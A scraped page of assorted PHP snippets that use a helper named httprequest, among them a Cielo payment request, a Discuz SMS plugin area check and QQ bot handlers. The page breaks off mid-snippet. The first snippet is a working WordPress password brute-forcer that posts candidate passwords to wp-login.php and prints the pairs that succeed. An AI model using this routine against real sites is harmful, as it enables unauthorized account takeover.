function crackpassword($namearray, $passwords)
{
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain . "/wp-login.php";
        if ($passwords == "same") {
            $post = "log=" . urlencode($name) . "&pwd=" . urlencode($name) . "&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=" . urlencode($domain) . "%2Fwp-admin%2F&testcookie=1";
            $pos = strpos(httprequest($url, $post), 'div id="login_error"');
            if ($pos === false) {
                echo "{$name} {$name}" . "\n";
                $crackname[] = $name;
            }
        } else {
            foreach ($passwords as $pass) {
                $post = "log=" . urlencode($name) . "&pwd=" . urlencode($pass) . "&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=" . urlencode($domain) . "%2Fwp-admin%2F&testcookie=1";
                $pos = strpos(httprequest($url, $post), 'div id="login_error"');
                if ($pos === false) {
                    echo "{$name} {$pass}" . "\n";
                }
            }
        }
    }
    return $crackname;
}
Exemplo n.º 2
0
 public function Enviar($vmPost, $transacao)
 {
     //$this->logger->logWrite("ENVIO: " . $vmPost, $transacao);
     //Service_Model_Log::write('cielo_cc', $tipo, $loja, $id, $data)
     // ENVIA REQUISI��O SITE CIELO
     //$this->logger->logWrite("RESPOSTA: " . $vmResposta, $transacao);
     $vmResposta = httprequest(ENDERECO, "mensagem=" . $vmPost);
     Service_Model_Log::write('cielo_cc', 'transacao', $this->lojaId, $this->parentId, array('transacao' => $transacao, 'post' => $vmPost, 'resposta' => $vmResposta));
     // trata erro de conexão
     try {
         if (stripos($vmResposta, "SSL certificate problem") !== false) {
             throw new Exception("CERTIFICADO INVÁLIDO - O certificado da transação não foi aprovado", "099");
         }
         $objResposta = simplexml_load_string($vmResposta, null, LIBXML_NOERROR);
         if ($objResposta == null) {
             throw new Exception("HTTP READ TIMEOUT - o Limite de Tempo da transação foi estourado", "099");
         }
     } catch (Exception $ex) {
         $data = array('codigo' => $ex->getCode(), 'mensagem' => $ex->getMessage(), 'xml_envio' => $vmPost, 'exception' => $ex);
         Service_Model_Log::write('cielo_cc', 'erro', $this->lojaId, $this->parentId, $data);
     }
     // trata erro no xml da resposta
     if ($objResposta->getName() == "erro") {
         $data = array('codigo' => (string) $objResposta->codigo, 'mensagem' => (string) $objResposta->mensagem, 'xml_envio' => $vmPost);
         Service_Model_Log::write('cielo_cc', 'erro', $this->lojaId, $this->parentId, $data);
     }
     return simplexml_load_string($vmResposta);
 }
Exemplo n.º 3
0
function chackmobile($mobile)
{
    global $_G;
    $mobile_array = explode(",", $_G['cache']['plugin']['smstong']['blackmobile']);
    if (in_array($mobile, $mobile_array)) {
        return lang('plugin/smstong', 'smstong_blackmobile_existed');
    }
    if ($_G['cache']['plugin']['smstong']['areacons'] == "0") {
        return true;
    }
    if (empty($_G['cache']['plugin']['smstong']['areavalue'])) {
        return true;
    }
    $checkmobile = false;
    if (!empty($_G['cache']['plugin']['smstong']['areaconstime'])) {
        $now = dgmdate(TIMESTAMP, 'G.i');
        foreach (explode("\r\n", str_replace(':', '.', $_G['cache']['plugin']['smstong']['areaconstime'])) as $period) {
            list($periodbegin, $periodend) = explode('-', $period);
            if ($periodbegin > $periodend && ($now >= $periodbegin || $now < $periodend) || $periodbegin < $periodend && $now >= $periodbegin && $now < $periodend) {
                $checkmobile = true;
            }
        }
    } else {
        $checkmobile = true;
    }
    if ($_G['cache']['plugin']['smstong']['areacons'] == "1" && $checkmobile) {
        $checkurl = "http://www.ip138.com:8080/search.asp?action=mobile&mobile=" . $mobile;
        $result = httprequest($checkurl);
        $checkresult = "";
        $errormsg = lang('plugin/smstong', 'smstong_checkmobile_error');
        $result = strip_tags($result);
        $result = preg_replace('/\\s/', '', $result);
        switch ($_G['cache']['plugin']['smstong']['areatype']) {
            case 1:
                if ($_G['charset'] == "gbk") {
                    preg_match(lang('plugin/smstong', 'smstong_mobilearea_ip138'), $result, $area);
                    $checkresult = $area[2];
                } else {
                    preg_match(lang('plugin/smstong', 'smstong_mobilearea_ip138'), iconv("gbk", "utf-8", $result), $area);
                    $checkresult = $area[2];
                }
                $errormsg = lang('plugin/smstong', 'smstong_checkmobile_default') . $_G['cache']['plugin']['smstong']['areavalue'] . lang('plugin/smstong', 'smstong_checkmobile_areatype_city');
                break;
            case 2:
                if ($_G['charset'] == "gbk") {
                    preg_match(lang('plugin/smstong', 'smstong_mobilearea_ip138'), $result, $area);
                    $checkresult = $area[1];
                } else {
                    preg_match(lang('plugin/smstong', 'smstong_mobilearea_ip138'), iconv("gbk", "utf-8", $result), $area);
                    $checkresult = $area[1];
                }
                $errormsg = lang('plugin/smstong', 'smstong_checkmobile_default') . $_G['cache']['plugin']['smstong']['areavalue'] . lang('plugin/smstong', 'smstong_checkmobile_areatype_province');
                break;
            default:
                if ($_G['charset'] == "gbk") {
                    preg_match(lang('plugin/smstong', 'smstong_mobilearea_ip138'), $result, $area);
                    $checkresult = $area[2];
                } else {
                    preg_match(lang('plugin/smstong', 'smstong_mobilearea_ip138'), iconv("gbk", "utf-8", $result), $area);
                    $checkresult = $area[2];
                }
                $errormsg = lang('plugin/smstong', 'smstong_checkmobile_default') . $_G['cache']['plugin']['smstong']['areavalue'] . lang('plugin/smstong', 'smstong_checkmobile_areatype_city');
                break;
        }
        $area_array = explode("|", $_G['cache']['plugin']['smstong']['areavalue']);
        $flag1 = false;
        $flag2 = false;
        if (in_array($checkresult, $area_array)) {
            $flag1 = true;
        }
        if ($_G['cache']['plugin']['smstong']['ipareacons'] == "1") {
            require_once libfile('function/misc');
            $iparea = trim(trim(convertip($_G['clientip']), '-'));
            foreach ($area_array as $k => $v) {
                if (strstr($iparea, $v)) {
                    $flag2 = true;
                    break;
                }
            }
        } else {
            $flag2 = true;
        }
        if ($flag1 && $flag2) {
            return true;
        }
    } else {
        return true;
    }
    return $errormsg;
}
Exemplo n.º 4
0
 *      This is NOT a freeware, use is subject to license terms
 *
 *      $Id: acountinfo.php 18582 2010-07-17 11:12:11Z 呀呀个呸 $
 */
define('IN_DISCUZ', TRUE);
//$smsapi = "a1.chanyoo.cn";
$smsapi = "202.165.181.81:8021";
//add by zh
$charset = "utf8";
$username = $_GET['username'];
$password = $_GET['password'];
//$url = "http://".$smsapi."/".$charset."/interface/user_info.aspx?username="******"&password="******"";
$url = "http://" . $smsapi . "/HttpInterface/GetMyFree.php?uname=" . $username . "&pwd=" . $password . "&balance=1";
//add by zh
require_once 'smstong.func.php';
$ret = httprequest($url);
if (!empty($ret)) {
    $sms_left = $ret;
}
/*$xml = simplexml_load_string($ret);

$uid = intval($xml->result);

if ($uid > 0)
{
	$result = $xml->result;
	$user_balance = $xml->user_balance;
	$user_amount = $xml->user_amount;
	$sms_left = $xml->sms_left;
	$sms_send = $xml->sms_send;
	$sms_receive = $xml->sms_receive;
Exemplo n.º 5
0
<?php

if ($Event == 'ReceiveNormalIM') {
    if (stristr($Message, "全服公告 ")) {
        //echo mb_detect_encoding($Message);
        //echo iconv('UTF-8', 'GB2312',$_POST["Message"]);
        $Message = str_replace("全服公告 ", "【系统公告】", $Message);
        try {
            $parms = array('Key' => 'qcc', 'SendType' => 'SendClusterMessage', 'utf' => 1, 'id' => all, 'message' => $Message);
            $res = httprequest('http://127.0.0.1:49363/Api?' . http_build_query($parms));
            if ($res['http_code'] == 200) {
            }
        } catch (Exception $e) {
            echo $e->getMessage();
            exit;
        }
    }
}
Exemplo n.º 6
0
 public function Enviar($vmPost, $transacao)
 {
     $this->logger->logWrite("ENVIO: " . $vmPost, $transacao);
     // ENVIA REQUISIÇÃO SITE CIELO
     $vmResposta = httprequest(ENDERECO, "mensagem=" . $vmPost);
     $this->logger->logWrite("RESPOSTA: " . $vmResposta, $transacao);
     VerificaErro($vmPost, $vmResposta);
     return simplexml_load_string($vmResposta);
 }
Exemplo n.º 7
0
 $Message = str_replace("http://www.acfun.tv/", "", iconv('UTF-8', 'GB2312', $_POST["Message"]));
 //$url = "http://www.acfun.tv/v/ac689393";
 /*------------正则匹配模式-----------*/
 $acfun_video_title_pattern = "/<h1\\sid=\"title-article\".*?>(.*?)<\\/h1>/s";
 //视频标题
 $acfun_upname_pattern = "/<a\\sclass=\"name\".*?>(.*?)<\\/a>/s";
 //视频上传者
 $acfun_uptime_pattern = "/<span\\sclass=\"time\".*?>(.*?)<\\/span>/s";
 //视频上传时间
 $acfun_video_data_pattern = "/<span\\sid=\"info-title\".*?>.*?<span\\sclass=\"pts\">(.*?)<\\/span>.*?<span\\sclass=\"pts\">(.*?)<\\/span>.*?<span\\sclass=\"pts\">(.*?)<\\/span>.*?<\\/span>/s";
 //视频播放数,评论数,收藏数
 $acfun_video_intro_pattern = "/<div\\sclass=\"qshare\\shidden\">.*?<p>(.*?)<\\/p>.*?<\\/div>/s";
 //视频简介
 /*------------正则匹配模式-----------*/
 try {
     $res = httprequest('http://www.acfun.tv/' . urlencode($Message));
     if ($res['http_code'] == 200) {
         if (preg_match_all($acfun_video_title_pattern, $res['body'], $acfun_video_title_match)) {
             echo "【标题】:" . $acfun_video_title_match[1][0] . "\n";
         }
         if (preg_match_all($acfun_upname_pattern, $res['body'], $acfun_upname_match)) {
             echo "【UP主】:" . $acfun_upname_match[1][0] . "\n";
         }
         if (preg_match_all($acfun_uptime_pattern, $res['body'], $acfun_uptime_match)) {
             echo "【发布于】:" . $acfun_uptime_match[1][0] . "\n";
         }
         /* if (preg_match_all($acfun_video_data_pattern, $res['body'], $acfun_video_data_match))
         		{
         			echo $acfun_video_data_pattern[1][0];
         			echo $acfun_video_data_pattern[1][1];
         			echo $acfun_video_data_pattern[1][2];